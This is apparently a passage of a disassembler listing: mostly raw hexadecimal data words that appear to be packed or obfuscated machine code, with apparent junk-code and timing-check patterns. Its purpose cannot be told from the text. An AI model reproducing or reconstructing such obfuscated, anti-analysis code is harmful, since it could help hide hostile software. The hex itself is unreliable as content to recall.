0CF7BF498h, 1FD3A1F7h, 0B932D68Ah dd 0F7C1770Dh, 0C4560A15h, 0EF689710h, 6589762Fh, 827D2AEEh dd 0EB9E99F0h, 653DE972h, 0F825F801h, 0FBA72044h, 1C1C2201h dd 0AD71E89Ch, 0CC9007F8h, 0E8AC23DEh, 3C73EC1h, 5DD89A3h dd 982C1C62h, 9C8EBEE4h, 0C2EB046Ah, 0CEE5A51Eh, 0E307AF41h dd 861FDF6Ch, 0AB1BAFF7h, 57FB00FDh, 49F91DC5h, 0A22BA45Dh dd 1C2C1EF6h, 0D9FDB12Ch, 0A04CD562h, 2C1C2BC8h, 0D383A75Bh dd 2BB82FE0h, 2C1EF6A2h, 0EBC42C1Ch, 0FC6E87C3h, 7DA1558Eh dd 8C1ADBCDh, 772FE375h, 0AC50F88Ah, 0CE049108h, 0E67CF4F8h dd 30E004EAh, 4D118877h, 0CB32A966h, 4B0296Ch, 223FF80Ah dd 0AB5FF1A5h, 5D8C03FCh, 3, 4540A7E6h, 54089A67h, 661AAC53h dd 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h dd 0DA8E20E1h, 86A234CBh, 81E38953h, 4C3h, 4EB8300h, 8B241C87h dd 75682424h, 89000003h, 34682434h, 89000062h, 7268241Ch dd 8B062460h, 0C4812434h, 4, 4B3D68h, 24248900h, 4240483h dd 8B9515Bh, 1000000h, 8B3189D9h, 0C483240Ch, 241C8B04h dd 5E08950h, 4, 405h, 24048700h, 24348B5Ch, 81E68956h dd 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFFB1156h, 6BB0B878h dd 0C5030624h, 3CE9C38Bh, 0F9000001h, 0D5B58DFCh, 0F06246Ch dd 780h, 61606000h, 6140CD80h, 4BA8858Dh, 6A0622h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 15F3BFC3h, 1890FEBh, 0F8000000h, 0FF5D0FFh, 0D89h, 8E900h dd 546B0000h, 5E23D927h, 6AC3AADFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 69DC350h dd 600CD3A3h, 0F08B6660h, 0BA61D08Bh, 1B8A555Dh, 0FE961h dd 0B77B0000h, 0B8D9FA71h, 0BC67F2BAh, 0E5D9117Bh, 0D98C6639h dd 5880Fh, 0F600000h, 0F561C8B7h, 0F04C1F6h, 4A84h, 0D7816000h dd 7DA635D0h, 48E0Fh, 0BF660000h, 8B61000Ah, 32CB8BFBh dd 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h dd 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah dd 1B8h, 8B09EB00h, 0B8E4EB00h, 0 dd 0EE9F8CFh, 2F000000h, 160F0AA3h, 401AE8A7h, 4530B784h dd 55006A9Ch, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 53EE074Eh, 0E8FFD898h, 0C7FC6FC2h, 246D1785h dd 1013F06h, 0CE800h, 0B41C0000h, 87E3F30Dh, 48A94F9Bh dd 0FBB85B41h, 5F236CEAh, 81F2DF80h, 7608C7h, 890F5100h dd 19h, 14E9h, 0DD29FD00h, 0B1E03F26h, 0F11D5C36h, 8F1984B2h dd 50A616DCh, 0C92B5BA9h, 34FF22B0h, 18A0F39h, 0F9000000h dd 0B1BE505Ah, 583F511Eh, 0F6D3EA81h, 0BF6052E4h, 7523DDF5h dd 14E8h, 4E223B00h, 46D054C6h, 511B3F47h, 696D1782h, 898A305h dd 850F4Fh, 59000000h, 3FEA8161h, 814BF1EDh, 72C2F5DBh dd 0B7F28176h, 0FC129221h, 0F0F1489h, 586h, 0D8816600h dd 12E9B943h, 64000000h, 42D090DFh, 0F92C04F9h, 0D3CE78BEh dd 0DE486089h, 0E3E98124h, 0E94DFFCFh, 9, 77C35E3Fh, 677739C1h dd 0DFC1812Bh, 8B4DFFCFh, 0FCF981C6h, 0FFFFF8Ah, 0E85h dd 0E9E4B700h, 22h, 0C348CBB4h, 0F6F82B9h, 8Ah, 0FF48E900h dd 0E301FFFFh, 0B4BB82CDh, 9EB5F692h, 93245990h, 8D8D4B87h dd 6246F7Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 6EC35747h, 0A1DB29D3h, 0AD9D4901h, 8D895000h, 61F0035h dd 89F38A58h, 1F0B5D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0C543737Bh, 0C7DCC7BFh dd 1F20C585h, 58F406h, 85C7F900h, 61F137Dh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 55C35747h dd 3806D094h, 0FF3A316Fh, 1F1545B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 1F2C464h, 0E82C10B4h dd 12h, 59CC3E52h, 0EEBABC18h, 3E3F8488h, 23FD3917h, 0B70F0D62h dd 85235FD0h, 61F158Dh, 2D5995FFh, 8166061Fh, 6A4383CBh dd 4595FF00h, 8B061F1Dh, 165FEBC0h, 0C25358A5h, 6EDFC278h dd 2DFCC8E5h, 4A7354D7h, 0CCE66517h, 0CCAFB5E1h, 2B7B8EF8h dd 45CA1387h, 472C0AAEh, 9AC935B5h, 29B83E26h, 41457F82h dd 0CA2C5F2Eh, 2A7F61D8h, 13229E77h, 2C0B5EF7h, 555B6CD6h dd 24C7178Ch, 0C833C131h, 0D7605E4Ah, 490F63B1h, 7674E763h dd 0A8B9F941h, 8D8D4254h, 624711Ah, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 37C35040h, 0A8165647h, 10E9h dd 10B37300h, 0BA59B95h, 23473ACDh, 0F86AD9ACh, 5D8D890Ch dd 6A061F0Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 2C5DC355h, 8DB58B40h, 0C7061F1Dh dd 1F20C585h, 675006h, 0D6816600h, 95331E19h, 61F2FA5h dd 137D85C7h, 61Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0CA02D8C3h, 8B1336DEh dd 0F34AC90h, 0FE9C2BFh, 3000000h, 0FD78A3A5h, 0F2E4E02Ch dd 95B19161h, 0B5FFE502h, 61F105Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0F2C35242h, 8B72C4E4h, 1F0D6D95h dd 0E995B206h, 0Dh, 0EF84C81h, 5C2AC205h, 0ADC68931h, 5995FFBBh dd 6A061F2Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 533C351h, 566F6D15h, 0CDA8B866h dd 498D895Eh, 6A061F2Ah, 4595FF00h, 8B061F1Dh, 0BA1BEBC0h dd 0A683E6A2h, 7B3E3B3Bh, 5E97867Bh, 16396EABh, 4C049919h dd 0D2E2F1EDh, 3CE97C2Bh, 1, 45h dup(0) db 2 dup(0) word_584F4E dw 0 ; DATA XREF: ___:0042BEA8o dd 8 dup(0) dd 83000000h, 1F0DE1BDh, 840F0106h, 58Ah, 0FE9F9h, 0B420000h dd 0C8DEC450h, 0FF2F158Fh, 448706B9h, 2585C6C5h, 43061F20h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6C35747h dd 46F768B3h, 880F98ABh, 12h, 8E0F5250h, 0 dd 5250310Fh, 585A310Fh, 481585Ah, 0FA89FE24h, 55006A53h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8C0F2DB6h, 0Ah, 0FD08B60h, 85h, 0B5FF6100h, 61F3271h dd 1800Fh, 0FFC0000h, 68Bh, 59516000h, 8D61CB8Bh, 22799385h dd 0D0FFF906h, 8860Fh, 81600000h, 0E0515FE9h, 0E860617Ah dd 12h, 63E9B15Dh, 778AB247h, 0C792777Eh, 2928E679h, 8B661992h dd 0B70F59CEh, 858961DEh, 61F1A45h, 0CE9h, 0B8255800h dd 9F43ED76h, 3EED1340h, 2585C635h, 50061F20h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 23C35040h, 4B01933Eh dd 73B96876h, 0BF602F74h, 6B8D31D7h, 480EBF50h, 615E793Fh dd 9D240481h, 60793939h, 939ABE60h, 0B8665A63h, 616125D2h dd 0B8C0Fh, 6E90000h, 2D000000h, 7AE3388Ah, 71B5FF94h dd 0F8061F32h, 7993858Dh, 8C0F0622h, 1, 0E9D0FFF5h, 5 dd 3A1D4784h, 0EE937h, 16EC0000h, 0EACE11F6h, 0FE4DBE6h dd 2FA0F5C0h, 30818589h, 0E8F5061Fh, 4, 0F08FA82Fh, 138A0Fh dd 0EE90000h, 0D000000h, 0A970BA46h, 0F63721DBh, 3A7CC040h dd 52505070h, 52505250h, 585A310Fh, 5250310Fh, 585A310Fh dd 310F585Ah, 9E9h, 0E1AE2A00h, 913C1EC7h, 585A3646h, 424448Bh dd 0DE9h, 9D7C5900h, 0BD305FA2h, 869FD9BBh, 8B9FC3h, 0F840Fh dd 0AE90000h, 38000000h, 10498AE4h, 0AE72C8ABh, 244489F9h dd 9E904h, 0A9B20000h, 467967B5h, 5834EE6Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5DC35646h, 9E917h dd 0F9710000h, 0AF12CC09h, 0FF5E8AA3h, 1F3271B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0EF1BAD26h, 8860C9ABh, 1890FF8h, 0F9000000h, 7993858Dh dd 0DE90622h, 0C000000h, 2A317FCEh, 0DEF90C29h, 2C5C17EBh dd 89F9D0FFh, 1F18B985h, 85C6F506h, 61F2025h, 78B0F50h dd 0F000000h, 18Fh, 4E8F800h, 56000000h, 0F979CDCh, 1689h dd 11E900h, 12C50000h, 2BC0A5CEh, 989E6DCAh, 0EB07C13Dh dd 50A6960Eh, 0BE666060h, 66616A45h, 61E28CBAh, 424448Bh dd 0E85A5660h, 14h, 9A3C3924h, 126E221Bh, 0DAC255A9h, 7F571CF8h dd 5074B00h, 0EE9h, 4B08B400h, 0ADD0410Fh, 592D1695h, 5EACC91Fh dd 60008B61h, 28D0Fh, 5F510000h, 8961C18Bh, 0E9042444h dd 8, 0D078A008h, 163F6C3Ah, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 57F4CDF5h dd 8E0FD107h, 11h, 0CE9h, 2EA2F200h, 495F317Ah, 0BF414413h dd 0D9B5FF63h, 0E9061F20h, 13h, 818559Fh, 6FEDEACFh, 6478445Ch dd 0C409E118h, 8DFBA081h, 1F394D85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0DE906h, 73F60000h dd 6625E66Ch, 95417ADEh, 0E9B14652h, 7, 0DEC4500Bh, 0FF158FC8h dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0A3DE013Ch, 6660F56Bh, 66C57DBAh, 6108AFBEh dd 24818589h, 880F061Fh, 1, 188E9F8h, 0E9FC0000h, 0Fh dd 5B85A605h, 6F746E6Ch, 28E2377Dh, 9538AD85h, 0C68B6060h dd 6E9h, 19CF8D00h, 61C23E70h, 5061F88Bh, 0B8665760h, 665AD1C8h dd 616A28BAh, 8E995h, 243C0000h, 34342E54h, 0EC8BD0CAh dd 0EA2CBB60h, 0F5266EEh, 8Ah, 83615F00h, 6AFCC4h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0EE964C3h, 7F000000h, 0B5B3E6D2h, 0D2DF96A9h, 3B7A5886h dd 816660DFh, 0FCCA55F1h, 8D0F6061h, 1, 0E8F8h, 815A0000h dd 247726EAh, 0FC45C706h, 0 dd 0DE1BA83h, 0F01061Fh, 9884h, 6A5200h, 92FF0F6Ah, 61F1A45h dd 3F82895Ah, 8D062471h, 2471439Ah, 3C75206h, 128h, 92FF5053h dd 61F3081h, 9A8D525Ah, 6247143h, 3FB2FF53h, 0FF062471h dd 1F248192h, 0C00B5A06h, 9A8D5074h, 6247143h, 33247B8Dh dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h dd 752B3934h, 11BA8D0Ch, 8B061F21h, 0A4F30C4Dh, 52AAC032h dd 8D0875FFh, 1F211182h, 92FF5006h, 61F18B9h, 75C00B5Ah dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh dd 12E900h, 70180000h, 7F6D2527h, 59ED8446h, 5D5DA15Fh dd 0AFE7D4E1h, 13830Fh, 0EE90000h, 6E000000h, 0FC59783Fh dd 0FA3B37CCh, 0CF818D6Bh, 0D28BFC6Dh, 6E8h, 9DDAA900h dd 0E90007A0h, 0Fh, 75A2E360h, 92C5BCB9h, 0FB87833Dh, 59865DE0h dd 0DE8h, 9B9F8400h, 14486627h, 1F1EE8CBh, 0BB6678A4h dd 815E20C8h, 75C1C1h, 2820F00h, 8B000000h, 0E9FF2BC7h dd 8, 4CB34FC5h, 3FD4F9F2h, 0F839148Bh, 8181EA81h, 0BF0F6568h dd 8FEA81F6h, 8179A593h, 97D254C2h, 0D881666Dh, 0F5270F6h dd 1C8Eh, 14E800h, 69240000h, 36AA0F6Eh, 0A5112F47h, 202D6759h dd 43608AE5h, 616015E0h, 39048F58h, 6056CB80h, 60616060h dd 83616161h, 0FF8104EFh, 0FFFF8B1Ch, 10850Fh, 0E6810000h dd 45FB07C4h, 29E9h, 9D269B00h, 870F8E14h, 6, 840Fh, 81E90000h dd 80FFFFFFh, 0BE851BD3h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h dd 13E8E2C9h, 44000000h, 0DBD4E542h, 0BF8C7DA2h, 55D39A04h dd 0F3F16C74h, 5BF50E27h, 4713DAB8h, 0D2C38110h, 8B000061h dd 68F3h, 0CB90000h, 5F5DDC77h, 11E9h, 4E165400h, 9E318BB2h dd 9E3FA434h, 369BF0FAh, 34FF9E96h, 5A1BB11Fh, 4A06C281h dd 890F14DBh, 0Eh, 810F60h, 81000000h, 2BA231CAh, 0C281613Eh dd 27FFA42Fh, 4005B866h, 66C281h, 0F0B8473Dh, 89488D49h dd 5E93B14h, 0DF000000h, 0A00A4A2Ch, 0FE8h, 416CE400h dd 0A5BF7397h, 2245D6E7h, 0EA040FE8h, 0EF8359F8h, 7E901h dd 0CECB0000h, 0F507FBFCh, 4F4F4F5Dh, 81C8BF0Fh, 0FF9F04FFh dd 0E850FFFh, 0F5000000h, 18E9h, 0D6463100h, 63807E96h dd 0E9E1B14Ch, 0FFFFFF72h, 0FCD3D398h, 5B49178Eh, 5613D050h dd 3A4A03E8h, 0CFAE64A4h, 0DB71A2F0h, 0A7358304h, 76701878h dd 3585A7FEh, 4B854883h, 240331h, 74787946h, 83884D22h dd 7733783Fh, 7629363Eh, 1667D931h, 7635E4D9h, 0FDD2A31h dd 0CCA2B9E0h, 2F54C306h, 9FE5793Eh, 7635646Ch, 0CBB65FBBh dd 702AF350h, 3BB1E331h, 1C357631h, 75DD6D31h, 56359D31h dd 0FF6B0D6Fh, 0F7314345h, 6A319775h, 3035D931h, 9B862F67h dd 0E3B841EFh, 79757B47h, 76359FB6h, 9FEC7C31h, 7635642Ch dd 9E66B35Bh, 7635D932h, 2DF6B711h, 72112AB8h, 72117FB0h dd 76359D25h, 6DF69D72h, 0FCCE2BCh, 78DDB515h, 0F435D931h dd 82C0400Eh, 69044C2Eh, 0FF886560h, 76BE920Bh, 2F35CE31h dd 26FBEDA1h, 0FB9505A1h, 524C02B4h, 763E0537h, 0C9D47631h dd 0D5A28A72h, 0D5870BC3h, 0F53A5EEEh, 76356724h, 7635BED9h dd 8C68F531h, 7CD3170Ch, 8631FB25h, 8FBE3B14h, 0FC3ACD6Fh dd 7635CE33h, 9FA51784h, 7635B338h, 0F6F7D2B5h, 0DFE602B6h dd 57A08925h, 0CC33242Eh, 49E21FC7h, 765F0EBAh, 76368F63h dd 2C15B331h, 22BC83F2h, 32B4E815h, 762E7215h, 24773B31h dd 0DAD70EF2h, 0C3F8D21Fh, 398A0112h, 0B788304Eh, 7633C637h dd 0CBB6E544h, 702A6960h, 262C4F31h, 0CEF51662h, 7635CA4Bh dd 7950E2B8h, 0EBB8B52Eh, 70147695h, 2E6E3FCEh, 6964CBB2h dd 2353D2Eh, 0CE66CD26h, 7635CA4Bh, 7950E2B8h, 0EBB8B52Eh dd 701475A2h, 2E6E3FCEh, 9E65765Bh, 76353B32h, 2EF6C511h dd 72118AB8h, 721123B0h, 7635B324h, 58F68971h, 0C46F5378h dd 0B6BE4CCEh, 9080788h, 95A81036h, 1C33EA48h, 75DD3031h dd 5635B331h, 0FF6A1A6Eh, 0F731C84Dh, 6E315275h, 31353B31h dd 35085E66h, 7963649Eh, 763567B9h, 76BEBC31h, 0FB35D931h dd 5259D1B4h, 75B87937h, 0F6353B31h, 0A6CA62DFh, 7637403Eh dd 60876731h, 0F23A733Ah, 7635D917h, 7633643Eh, 0A9B47631h dd 1A9A4D41h, 3B8500BCh, 0C853C82Eh, 0C93A74B3h, 76360BFBh dd 95CAD931h, 0ADDE0BB0h, 0EBB8784Ah, 701142DAh, 4BB010C9h dd 1C33EA5Dh, 75DD3631h, 5635B331h, 0FF6C1A68h, 0F731C87Dh dd 60315275h, 37353B31h, 7FBF5E60h, 9FE5318Eh, 76356734h dd 0B110F29Bh, 79F5D2B3h, 76358CB5h, 76BF7931h, 0FB353B31h dd 69782DACh, 76347637h, 765F6731h, 76365B62h, 2D15D931h dd 2ABCB7F2h, 32B47215h, 76203F15h, 25769D31h, 897483F2h dd 26350DD2h, 7635B0D9h, 0B56DF931h, 52716569h, 5271F735h dd 76352C35h, 0B565DD31h, 0A33369E5h, 763EE43Eh, 7955B331h dd 7635D9BBh, 0B0BE8A31h, 86A8FB50h, 16331F48h, 5AA2B8Fh dd 7627277Bh, 0C1CA6731h, 0AE8CFA74h, 538E40D7h, 86DCE088h dd 4140DE21h, 3E4B8150h, 0F3B88CBDh, 7011A20Ch, 0B22D158Bh dd 1CE54C37h, 75DD8831h, 5635EC31h, 0FF6CB568h, 0F7311F7Dh dd 6B31B975h, 3735CE31h, 4A06A460h, 37E6F565h, 0CED2CE9Dh dd 0F23A2C3Ah, 7635765Ch, 763535D9h, 5311A631h, 0CCAFFB3Dh dd 3B47466Dh, 285BEBBBh, 3B8544BCh, 9E67EA2Eh, 76357637h dd 68B5D8EFh, 88BEAE16h, 758D976Fh, 10356731h, 892EF18Fh dd 2035B3D2h, 7635EFD9h, 0B56B5631h, 5241B26Fh, 52711C35h dd 7635D435h, 0B5632131h, 2DF2A7C5h, 21380417h, 7635E2D9h dd 0AF31E231h, 0ACB93963h, 9A855B93h, 2910580Eh, 765F246Eh dd 76365B60h, 2F15D931h, 3ABCB5F2h, 32B47215h, 76213F15h dd 27749D31h, 0CBB8C8F2h, 70111EE8h, 0B8B3EBCh, 0B8DDF15h dd 45BFA76Dh, 6938CFB4h, 0B7FA1037h, 0DAEBB8D8h, 0C9701142h dd 5D4BB010h, 311C33EAh, 3175DD36h, 685635B3h, 0E9836C1Ah dd 8BA4F305h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0EEF49E71h, 0E95639E2h, 12h, 48B13A9Fh dd 7DE47179h, 0BB87C32Eh, 0C0868A5Bh, 0F5FA202h, 484h dd 26BE6600h, 55006A81h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 3DC91E4Ah, 0C38BF848h, 8B90E280h dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0C1BD8342h, 61F06h, 0BD830975h, 61F1F51h dd 50197400h, 0B8C08B53h, 47Ah, 13958589h, 9D8D061Fh, 621B00Bh dd 585BD3FFh, 1F51BD83h, 7400061Fh, 0B8535017h, 47Ah, 13958589h dd 9D8D061Fh, 621ACACh, 585BD3FFh, 0FA8B6650h, 0E9C08B5Ah dd 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h, 1F20D9B5h dd 93858D06h, 0FF062279h, 1D8589D0h, 8B061F08h, 0CEFC1FEh dd 6000068h, 6A006A20h, 0D685702h, 0FF000100h, 1F081D95h dd 32E906h, 85C60000h, 61F2025h, 30DF6856h, 0B5FFA9C5h dd 61F3271h, 7993858Dh, 0D0FF0622h, 0EA98589h, 858D061Fh dd 61F2CBDh, 6A406A50h, 95FF5605h, 61F0EA9h, 0C361h dd 2 dup(0) dd 8B520000h, 428B60D4h, 3A858908h, 8B06247Fh, 85890C42h dd 6247F32h, 8910428Bh, 247F3685h, 70B58D06h, 8D06247Fh dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7F3AB58Bh, 858B0624h dd 6247F32h, 7F36BD83h, 0F000624h, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 6247F3Ah, 7FC1B58Dh dd 858D0624h, 5B7E35h, 5A61D0FFh, 7F3A858Bh, 4C20624h dd 3A858B00h, 8B06247Fh, 3A858900h, 0CF06247Fh, 0 dd 97B58960h, 8906247Fh, 247F9385h, 0F9858D06h, 8B061F31h dd 85894440h, 6247FD0h, 8006B58Dh, 858D0624h, 5B7E35h dd 8B61D0FFh, 247F9785h, 9D8BC306h, 6247F93h, 3C43B70Fh dd 5B8BD803h, 939D0378h, 8B06247Fh, 0B5032473h, 6247F93h dd 207B8B56h, 31C738Bh, 247F93BDh, 93B50306h, 0FC06247Fh dd 41FFC983h, 7F979D8Bh, 178B0624h, 7F939503h, 0C7830624h dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 7F938503h, 85890624h, 6247F97h, 0CE8BF08Bh dd 0BD81C18Bh, 6247FD0h, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 247FD0BDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 6247FD0h, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 247FD0BDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6247F3Eh, 0E318589h dd 858D061Fh, 6247FD4h, 2BBD8589h, 858D061Fh, 6247F9Bh dd 2BE58589h, 8D8D061Fh, 6248224h, 89F88B66h, 1F0B5D8Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0C801BE60h, 6B2DA878h, 0EE9h, 82277700h dd 715B589Dh, 7012DFD6h, 0C789A6B1h, 1F20C585h, 6DA006h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0EFE794D2h, 11E85E47h, 0D0000000h, 44EDF1BEh dd 0E871B5EBh, 6DB31E34h, 1648A8EDh, 2D958589h, 0C75A061Fh dd 1F137D85h, 6, 15B5FF00h, 6A061F1Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 2FCAC356h dd 0B5890C9Ah, 61F0A91h, 1065B58Bh, 95FF061Fh, 61F2D59h dd 0F98B6660h, 5BF38B53h, 0FF006A61h, 1F1D4595h, 0EBC08B06h dd 0FA5D2C3Bh, 0AE6FB3Dh, 0F0048D14h, 3FF10025h, 5C2CB905h dd 0F74F4913h, 244E307Ah, 0E3E4EF8Eh, 1E6A4F86h, 0E333A2E9h dd 395C3247h, 0A2228744h, 0C90EF47Eh, 0DB2B4F4Dh, 0C784504Bh dd 83438D8Dh, 0BD310624h, 61F1905h, 0B5D8D89h, 6A061Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 635D57C3h, 85C7351Bh, 61F20C5h, 5B14h, 1EE19D8Bh, 85C7061Fh dd 61F137Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C1C35242h dd 1E80E3DEh, 59D63327h, 324CEB81h, 7E85393h, 48000000h dd 8CDE20E0h, 9D898CD6h, 61F0745h, 75B5FF58h, 6A061F15h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0BAD6C352h, 0FF5B5060h, 1F2D5995h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 8589CFBFh, 61F2E75h, 95FF006Ah, 61F1D45h, 0FEBC08Bh dd 0C0CD8996h, 0B28E71C3h, 9E2E9ECBh, 0EB2AE61Bh, 2Dh dd 0AE0DD000h, 0F2319CBFh, 0A5ADF9DFh, 528C88A7h, 0B7FB75h dd 0ADF99CBEh, 89937EE5h, 8168009Dh, 0BD146726h, 0E03503B2h dd 19E937CEh, 6800000Bh, 624847Eh, 0FAF9EDE9h, 85E468FFh dd 0E3E90624h, 68FFFAF9h, 62486EBh, 0FAF9D9E9h, 87BA68FFh dd 0CFE90624h, 68FFFAF9h, 6248862h, 0FAF9C5E9h, 898468FFh dd 0BBE90624h, 68FFFAF9h, 6248A3Bh, 0FAF9B1E9h, 8C2368FFh dd 0A7E90624h, 68FFFAF9h, 6248D23h, 0FAF99DE9h, 0B54C60FFh dd 0D42B7A3Eh, 0F011995Dh, 0BF4B579h, 2BD6D094h, 0A7AE68B4h dd 0C78B02FFh, 0E8AC23ECh, 6CA41C0h, 1EE75EA1h, 1F21F9A5h dd 7CB419AFh, 0ECBC7C09h, 9B911F93h, 0AC50D050h, 0FB4E721Ah dd 34E0593Ch, 15F593EAh, 7838B165h, 9559D02Fh, 0DE5BED12h dd 0E87A951Eh, 6EC91C40h, 0D1E2A21Bh, 5404AC3Eh, 721AAC53h dd 0B829D54Eh, 3D1C1A16h, 51871089h, 50945296h, 8E3E62CAh dd 0AB6FE619h, 1A7103FCh, 53FF781Dh, 2238B79Eh, 0A010772Bh dd 23E441BBh, 9806E8Dh, 0E5C70000h, 0C4E1A51Ch, 0AA00C43Bh dd 8D1CE057h, 6F37FB72h, 15CF1B92h, 0F46B9610h, 158C8330h dd 33AA5751h, 50C7386Fh, 8A620E87h, 1D19AF1Dh, 624572E5h dd 50570B9Dh, 22AB38AFh, 0D3A19E76h, 597D311Fh, 0E35C3106h dd 0F0A92237h, 69FBAF15h, 0F2A7F5C9h, 2DC5B25h, 74426039h dd 6D8D09h, 0A21A0000h, 4AB5F495h, 0F36C10B8h, 3FEAA6Ah dd 18AA5753h, 0BB04C70h, 7815F081h, 0C06B43EFh, 4AFE25F2h dd 792DED26h, 7142F688h, 0C0640C9Eh, 16EA8A1Ch, 7C25F2C1h dd 9A673FFFh, 0F7B06008h, 7569E408h, 745DF3C6h, 397A3A09h dd 0CC7D5501h, 5C1025F2h, 5A7E26B8h, 0F9C1h, 0AF023800h dd 0E6C1CB31h, 0C9663EEAh, 45F925F2h, 7C1A7DA1h, 0F418F7BCh dd 239C6344h, 0F5B14263h, 2ED27A0Ch, 3ED0F49Ch, 96818BC1h dd 9E145EFDh, 25DCCA7Ah, 37C8DF93h, 3DB6F1A5h, 5004966Bh dd 7119AB56h, 25B229CDh, 97BB4465h, 0D34F2AFBh, 906F381Fh dd 0AD525519h, 1273C41Bh, 32DA6C93h, 0F069158Eh, 8515F05Eh dd 0A04CEEC5h, 25F25DC8h, 5F03A75Bh, 0BC71B0E6h, 0CADA32F9h dd 6FC82FA6h, 0BDF5A11Ah, 501C1337h, 45E91890h, 0EB0D43CCh dd 0D5C06770h, 8224D4F8h, 26CA3773h, 46BBEBAFh, 19887DDFh dd 3352E8FAh, 81Ah, 3FB64B61h, 5ED52A7Bh, 7AF1109Ah, 950CF3B6h dd 0B52CD5D1h, 0A6AF69h, 0EDC68A01h, 0C1E7AB22h, 0A205C940h dd 0A41DE65Dh, 0AF1D20F8h, 87BB319h, 481A467Ch, 0E8DAC2DEh dd 1936E38h, 21853559h, 2A569E0h, 0E5C484FDh, 0BCE0881Ah dd 0BC7CCE45h, 0D88012EDh, 0B3D661B4h, 80E98E3Ah, 0E29615F0h dd 5C34E069h, 0EF25F2C0h, 0E585173Bh, 25F2C111h, 55E6F877h dd 9745D04h, 0CDA9h, 62453600h, 4F570B9Dh, 6DA320B2h, 0CD1F0623h dd 2BC7EB29h, 1FD3305Ah, 49C03F68h, 55ACFCBCh, 0D9268131h dd 9541CA47h, 1FD330BDh, 25789C50h, 26FEAA12h, 0B91FD331h dd 5FE86105h, 0FF467B29h, 0F61A7DD2h, 0F074E15Ah, 0EFB67615h dd 0CD5FA204h, 47EF8125h, 72C52CA3h, 97FAA61Fh, 441C13E1h dd 4F571790h, 205931DDh, 38EC2C14h, 6EF77094h, 0E5EA1538h dd 6E928D62h, 0A219E8BEh, 0D239C8DEh, 0FA669D7Ah, 131C3BD1h dd 5A000007h, 7438AF52h, 9357CE31h, 0AF73EA17h, 0CA8E05FAh dd 62AE25DCh, 1A5A8h, 21EEC589h, 3FC2E6AAh, 5CA304C8h dd 0F7A31CE5h, 19AF1C1Fh, 45077AB2h, 9E27A061h, 0D3A21AF2h dd 0D5F9AD1Fh, 0F20D9A5Eh, 6245047Bh, 50570B9Dh, 2F7636AFh dd 72963ED0h, 0A1774BFBh, 